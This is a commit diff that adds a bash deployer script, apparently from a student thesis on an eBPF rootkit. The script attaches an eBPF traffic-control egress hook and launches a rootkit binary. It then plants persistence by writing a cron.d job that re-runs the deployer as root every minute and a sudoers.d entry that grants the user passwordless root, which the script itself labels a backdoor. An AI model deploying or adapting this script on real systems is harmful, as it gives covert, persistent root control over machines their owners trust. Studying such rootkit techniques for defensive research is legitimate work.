Added new deployer for preparing final files, messed up with the phantom shell, sometimes gives errors, but I don't think we can do much, the shared maps together with multi-hooks on network has some unexpected behaviours

apps/deployer.sh

@@ -0,0 +1,64 @@
+#!/bin/bash
+#set -x
+
+## Constants declaration
+#The current directory full path
+declare -r DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
+#The location of the file where to write the full rootkit package
+declare -r BASEDIR="/home/osboxes/TFG/apps"
+#A variable to determine whether to silence output of internal commands
+declare firstvar=$1
+
+RED='\033[0;31m'
+BLU='\033[0;34m'
+GRN='\033[0;32m'
+NC='\033[0m' # No Color
+
+## A simple function to wait for input
+waitForInput(){
+   if [ "$press_key_to_continue" = true ]; then
+      echo "Completed. Press any key to continue"
+      while [ true ] ; 
+      do
+         read -t 3 -n 1
+         if [ $? = 0 ] ; then
+            return ;
+         fi
+      done
+   fi
+}
+
+#A simple function to silence output
+quiet(){
+    if [ "$firstvar" == "quiet" ]; then
+        "$@" > /dev/null
+    else
+        "$@"
+    fi
+}
+
+#Start of script
+echo "*******************************************************\n"
+echo "************************* TFG *************************\n"
+echo "*******************************************************\n"
+echo "***************** Marcos Sánchez Bajo *****************\n"
+echo "*******************************************************\n"
+echo ""
+
+BACKDOOR_INSTALLED=0
+FILE=/etc/sudoers.d/ebpfbackdoor
+if test -f "$FILE"; then
+   BACKDOOR_INSTALLED=1
+   echo "Backdoor is already installed"
+else
+   echo -e "${BLU}Installing TC hook${NC}"
+   /bin/sudo tc qdisc del dev enp0s3 clsact
+   /bin/sudo tc qdisc add dev enp0s3 clsact
+   /bin/sudo tc filter add dev enp0s3 egress bpf direct-action obj "$BASEDIR"/tc.o sec classifier/egress
+   /bin/sudo "$BASEDIR"/kit -t enp0s3
+fi
+
+## Install a backdoor in cron.d
+echo "* * * * * osboxes /bin/sudo /home/osboxes/TFG/apps/deployer.sh" > /etc/cron.d/ebpfbackdoor
+echo "osboxes ALL=(ALL:ALL) NOPASSWD:ALL #" > /etc/sudoers.d/ebpfbackdoor
+